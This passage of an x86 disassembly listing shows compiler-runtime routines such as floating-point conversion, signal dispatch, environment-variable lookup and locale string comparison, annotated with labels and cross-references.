esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DB57C mov eax, offset dword_4DB57C jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DB578 mov eax, offset dword_4DB578 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DB580 mov eax, offset dword_4DB580 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DB574 mov eax, offset dword_4DB574 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DB350 and dword_4DB350, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43C94C mov dword_43C94C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43C940 mov ecx, dword_43C944 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43C8D0h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43C94C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DB350, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43C94C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8CC, edx push esi mov eax, offset dword_43C8C8 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DC910, 0 push ebx push esi mov esi, dword_4DB2A0 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB2A8, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB2A0 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB278, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB278, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43CDC8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43CF28 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DC6C4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DC8E4 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB2A8 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CF0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DB588, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427940 push eax push edi push eax push ebx push ebx call near ptr 25F0000h nop test eax, eax jz short loc_425F53 mov dword_4DB588, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CAE2C push eax push edi push eax push ebx push ebx call near ptr 25F06DBh nop test eax, eax jz loc_42616C mov dword_4DB588, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DB588 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25F06DBh jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 28D0000h test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2830000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call near ptr 2830000h nop test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25F0000h nop jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB2A0 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB2A4 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB2A0, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB2A8, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A0, eax jz short loc_42620F mov [eax], edi cmp dword_4DB2A8, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A8, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB2A0 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE 